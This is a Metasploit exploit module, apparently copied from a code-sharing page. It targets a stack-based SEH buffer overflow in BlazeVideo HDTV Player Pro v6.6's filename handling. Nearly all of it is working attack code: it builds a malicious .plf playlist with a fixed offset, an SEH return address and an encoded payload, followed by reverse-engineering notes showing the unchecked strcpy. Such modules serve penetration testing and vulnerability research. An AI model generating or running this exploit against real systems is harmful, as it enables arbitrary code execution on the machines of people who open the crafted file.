Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::FILEFORMAT
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info={})
13
    super(update_info(info,
14
      'Name'           => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",
15
      'Description'    => %q{
16
          This module exploits a vulnerability found in BlazeVideo HDTV Player's filename
17
        handling routine.  When supplying a string of input data embedded in a .plf file,
18
        the MediaPlayerCtrl.dll component will try to extract a filename by using
19
        PathFindFileNameA(), and then copies whatever the return value is on the stack by
20
        using an inline strcpy.  As a result, if this input data is long enough, it can cause
21
        a stack-based buffer overflow, which may lead to arbitrary code execution under the
22
        context of the user.
23
      },
24
      'License'        => MSF_LICENSE,
25
      'Author'         =>
26
        [
27
          'b33f',   #Original
28
          'sinn3r'  #Metasploit
29
        ],
30
      'References'     =>
31
        [
32
          ['OSVDB', '80896'],
33
          ['EDB', '18693'],
34
          ['EDB', '22931']
35
        ],
36
      'Payload'        =>
37
        {
38
          'BadChars'        => "\x00\x0a\x1a\x2f\x3a\x5c",
39
          'StackAdjustment' => -3500
40
        },
41
      'DefaultOptions'  =>
42
        {
43
          'EXITFUNC' => 'thread'
44
        },
45
      'Platform'       => 'win',
46
      'Targets'        =>
47
        [
48
          # MediaPlayerCtrl.dll P/P/R
49
          # Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP0
50
          ['BlazeVideo HDTV Player Pro v6.6.0.3', {'Ret'=>0x64020327, 'Offset'=>868}]
51
        ],
52
      'Privileged'     => false,
53
      'DisclosureDate' => '2012-04-03',
54
      'DefaultTarget'  => 0))
55

56
    register_options(
57
      [
58
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])
59
      ])
60
  end
61

62
  def exploit
63
    buf = 'http://'
64
    buf << rand_text_alpha_upper(target['Offset'])
65
    buf << generate_seh_record(target.ret)
66
    buf << payload.encoded
67
    buf << rand_text_alpha(5000-buf.length)
68

69
    print_status("Creating '#{datastore['FILENAME']}'...")
70
    file_create(buf)
71
  end
72
end
73

74
=begin
75
Version: HDTV Player Professional v6.6
76

77
In MediaPlayerCtrl.dll (File version: 2.0.0.2; Product version: 2.0.0.2)
78
.text:6400E574                 mov     eax, [esp+138h+Source]
79
.text:6400E578                 mov     edx, [ebp+0ECh]
80
.text:6400E57E                 push    eax
81
.text:6400E57F                 push    eax             ; pszPath  <-- Our URL
82
.text:6400E580                 mov     edi, [edx]
83
.text:6400E582                 call    ebx ; PathFindFileNameA
84
.text:6400E584                 mov     ecx, [ebp+0ECh]
85
.text:6400E58A                 push    eax             ; File path to copy
86
.text:6400E58B                 push    esi
87
.text:6400E58C                 push    1
88
.text:6400E58E                 call    dword ptr [edi] ; 0x6400f1f0
89

90
0x6400F1F0 (no length check either) goes down to 0x6400F670:
91

92
int __thiscall sub_6400F670(int this, int a2, int a3, const char *source, const char *a5)
93
{
94
  ...
95

96
  v5 = this;
97
  if ( a2 && source && a5 )
98
  {
99
    memset(&buffer, 0, '\x02\x10');
100
    v16 = *(this + 4);
101
    *(this + 4) = v16 + 1;
102
    v18 = a3;
103
    buffer = a2;
104
    strcpy(&Dest2, source);  // <-- This is a rep movs
105
=end
106

107